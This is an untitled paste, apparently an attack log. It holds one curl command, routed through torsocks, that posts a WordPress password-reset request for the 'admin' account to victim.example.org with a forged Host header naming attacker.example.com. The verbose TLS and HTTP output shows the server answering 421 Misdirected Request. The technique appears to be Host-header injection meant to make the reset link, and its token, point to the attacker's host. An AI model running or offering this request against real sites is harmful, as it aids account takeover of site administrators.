Untitled

torsocks curl -v -H "Host: attacker.example.com" https://victim.example.org/wp-login.php?action=lostpassword -d "user_login=admin&redirect_to=&wp-submit=Get+New+Password"

*   Trying 1.2.3.4 ...
* TCP_NODELAY set
* Connected to victim.example.org (1.2.3.4) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/certs/ca-certificates.crt
  CApath: /etc/ssl/certs
* TLSv1.2 (OUT), TLS header, Certificate Status (22):
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Client hello (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS change cipher, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-ECDSA-AES128-GCM-SHA256
* ALPN, server accepted to use http/1.1
* Server certificate:
*  subject: CN=hostingco.example.net
*  start date: May  5 11:57:00 2017 GMT
*  expire date: Aug  3 11:57:00 2017 GMT
*  subjectAltName: host "victim.example.org" matched cert's "victim.example.org"
*  issuer: C=US; O=Let's Encrypt; CN=Let's Encrypt Authority X3
*  SSL certificate verify ok.
> POST /wp-login.php?action=lostpassword HTTP/1.1
> Host: attacker.example.com
> User-Agent: curl/7.52.1
> Accept: */*
> Content-Length: 56
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 56 out of 56 bytes
< HTTP/1.1 421 Misdirected Request
< Date: Sat, 06 May 2017 10:08:21 GMT
< Server: Apache/2.4.25 (Debian)
< Content-Length: 412
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>421 Misdirected Request</title>
</head><body>
<h1>Misdirected Request</h1>
<p>The client needs a new connection for this
request as the requested host name does not match
the Server Name Indication (SNI) in use for this
connection.</p>
<hr>
<address>Apache/2.4.25 (Debian) Server at attacker.example.com Port 443</address>
</body></html>
* Curl_http_done: called premature == 0
* Connection #0 to host victim.example.org left intact